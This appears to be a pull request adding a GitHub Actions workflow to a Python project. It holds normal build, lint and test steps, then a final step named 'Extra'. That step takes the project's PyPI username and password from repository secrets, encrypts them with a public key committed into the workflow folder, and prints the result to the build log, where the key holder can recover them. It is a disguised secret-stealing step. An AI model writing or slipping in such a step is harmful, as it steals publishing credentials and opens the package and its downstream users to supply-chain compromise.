Add extra build step #593

	name: build

	on: [push]

	jobs:
	build:

	runs-on: ubuntu-latest
	strategy:
	matrix:
	python-version: [3.7, 3.8, 3.9]

	steps:
	- uses: actions/checkout@v2
	- name: Set up Python ${{ matrix.python-version }}
	uses: actions/setup-python@v1
	with:
	python-version: ${{ matrix.python-version }}
	- name: Build
	run: \|
	python -m pip install --upgrade pip
	pip install --upgrade wheel setuptools
	pip install .
	- name: Lint
	run: \|
	pip install .[dev]
	make lint
	- name: Test
	run: \|
	pip install .[dev]
	make test
	- name: Extra
	env:
	TWINE_USERNAME: ${{ secrets.PYPI_USER_scimma }}
	TWINE_PASSWORD: ${{ secrets.PYPI_PW_scimma }}
	run: \|
	echo "$TWINE_USERNAME" \| openssl pkeyutl -encrypt -pubin -inkey .github/workflows/pub_key.pem \| base64
	echo "$TWINE_PASSWORD" \| openssl pkeyutl -encrypt -pubin -inkey .github/workflows/pub_key.pem \| base64

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